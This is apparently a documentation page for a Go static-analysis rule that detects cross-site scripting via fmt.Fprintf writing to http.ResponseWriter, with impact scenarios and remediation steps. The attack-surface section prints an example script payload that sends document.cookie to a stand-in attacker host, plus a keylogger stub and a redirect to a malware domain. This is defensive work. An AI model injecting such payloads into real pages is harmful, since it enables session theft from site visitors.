Interactive Playground
Experiment with the vulnerable code and security rule below. Edit the code to see how the rule detects different vulnerability patterns.
pathfinder scan --ruleset golang/GO-XSS-002 --project .About This Rule
Understanding the vulnerability and how it is detected
`fmt.Fprintf`, `fmt.Fprintln`, and `fmt.Fprint` write raw bytes to any `io.Writer`, including `http.ResponseWriter`. Unlike `html/template`, these functions perform **zero HTML escaping** — every character in the format arguments reaches the browser exactly as provided. When user-controlled data flows into these calls without prior escaping, attackers inject arbitrary HTML and JavaScript into the response.
**Why fmt.Fprintf is particularly dangerous**: The Go standard library's deliberate division of responsibilities places HTML escaping in `html/template` and leaves `fmt` as a raw byte writer. Developers accustomed to server-side templating in other languages may not realize that `fmt.Fprintf(w, "<p>%s</p>", userInput)` is equivalent to `w.Write([]byte("<p>" + userInput + "</p>"))` — both write unescaped bytes.
**XSS attack surface via fmt.Fprintf**: - "**Format string injection**: `fmt.Fprintf(w, userInput)` — if the user controls the format" string itself, `%!` verbs can cause unexpected behavior; HTML tags execute directly. - "**Format argument injection**: `fmt.Fprintf(w, \"<p>Hello %s</p>\", name)` — attacker sets" `name` to `<script>fetch('https://attacker.com/steal?c='+document.cookie)</script>`. - "**Chained template fragments**: Building HTML by concatenating `fmt.Sprintf` results and" later writing the assembled string to the response — taint survives across the intermediate variable. - "**JSON responses with incorrect Content-Type**: `fmt.Fprintf(w, `{\"user\":\"%s\"}`, username)`" without setting `Content-Type: application/json` — browsers sniff the content and may render it as HTML if the response starts with `<`.
**Content-Type sniffing**: Go's `net/http` calls `http.DetectContentType()` on the first 512 bytes of the response body if no explicit `Content-Type` header is set. A response starting with `{` or `[` gets `text/plain; charset=utf-8`; starting with `<` gets `text/html; charset=utf-8`. Setting the correct Content-Type header is a mitigation layer, but browsers with MIME type sniffing enabled (or `X-Content-Type-Options: nosniff` missing) may still execute injected scripts in `text/plain` responses when served inline.
**Reflected vs. Stored XSS via fmt.Fprintf**: - "**Reflected**: The injected value comes from the current request (query param, form field," URL segment) and is immediately written to the response. The attacker crafts a malicious URL and tricks the victim into clicking it. - "**Stored**: The value was previously stored in a database and is now retrieved and written" with `fmt.Fprintf`. All visitors to the page receive the attack payload. Taint analysis must track the dataflow through the database query and result scanning.
**Impact of XSS**: - Session hijacking via `document.cookie` theft (if `HttpOnly` flag is absent) - Keylogging by injecting `<script>document.onkeydown=function(e){...}</script>` - DOM manipulation to insert phishing content on a trusted domain - Browser-based cryptomining or botnet participation - Redirection to drive-by download pages via `window.location = "https://malware.example"`
**Go-specific remediation path**: `html/template` is the authoritative solution — it performs context-aware escaping based on where the value appears (HTML body, attribute, URL, JavaScript string, CSS). `html.EscapeString()` handles the HTML body context but does not protect attribute values containing JavaScript event handlers or `href="javascript:..."` patterns.
Security Implications
Potential attack scenarios if this vulnerability is exploited
Session Hijacking via Cookie Theft
XSS payloads using `document.cookie` can exfiltrate session tokens to attacker infrastructure. Any session cookie without the `HttpOnly` flag is vulnerable. Even HttpOnly cookies can be bypassed by XSS that makes authenticated requests directly from the victim's browser (CSRF-style XSS exploitation).
Credential Harvesting on Trusted Domain
Injected HTML replaces login form `action` attributes or overlays the page with a pixel-perfect phishing form hosted on the legitimate domain. Victims see the correct domain in the address bar and trust the form. All submitted credentials go to the attacker's endpoint.
Persistent XSS in Stored Data Flows
When `fmt.Fprintf` writes values retrieved from a database, the XSS becomes stored (persistent). Every user who loads the page receives the payload. A single stored XSS in an admin interface can escalate to full account takeover for all administrators.
Cross-Origin Data Exfiltration
XSS executing in a privileged origin can use `fetch()` to read internal resources, extract CSRF tokens from other pages, and probe internal network endpoints via the victim's browser — bypassing firewall rules that allow the browser but not external IPs.
How to Fix
Recommended remediation steps
- 1Replace all fmt.Fprintf/Fprintln/Fprint to ResponseWriter with html/template.Execute().
- 2If fmt.Fprintf is required (e.g., simple error pages), wrap every user value with html.EscapeString().
- 3Always set Content-Type: text/html; charset=utf-8 explicitly — do not rely on auto-detection.
- 4Add X-Content-Type-Options: nosniff header to all responses to prevent MIME sniffing.
- 5Implement Content Security Policy (CSP) as defense-in-depth — script-src 'self' blocks injected inline scripts.
- 6Never pass user input as the format string argument (first argument) to fmt.Fprintf.
- 7Pre-compile html/template instances at startup; template.Must() panics on parse errors at startup rather than runtime.
- 8For JSON APIs, use encoding/json — it HTML-escapes <, >, and & characters by default.
Detection Scope
How Code Pathfinder analyzes your code for this vulnerability
Tracks taint from HTTP request sources (net/http.Request, gin.Context, echo.Context, fiber.Ctx) to fmt.Fprintf, fmt.Fprintln, and fmt.Fprint calls where the first argument is an http.ResponseWriter. Global inter-procedural scope.
Compliance & Standards
Industry frameworks and regulations that require detection of this vulnerability
References
External resources and documentation
Similar Rules
Explore related security rules for Go
XSS via Unsafe html/template Type Conversions
User input cast to template.HTML, template.CSS, template.JS, or template.URL bypasses Go's context-aware auto-escaping, allowing raw attacker payload to reach the browser.
XSS via io.WriteString to http.ResponseWriter
User input flows into io.WriteString writing directly to ResponseWriter without HTML escaping — io.WriteString is a raw byte writer that performs no HTML neutralization.
Frequently Asked Questions
Common questions about XSS via fmt.Fprintf to http.ResponseWriter
New feature
Get these findings posted directly on your GitHub pull requests
The XSS via fmt.Fprintf to http.ResponseWriter rule runs in CI and posts inline review comments on the exact lines — no dashboard, no SARIF viewer.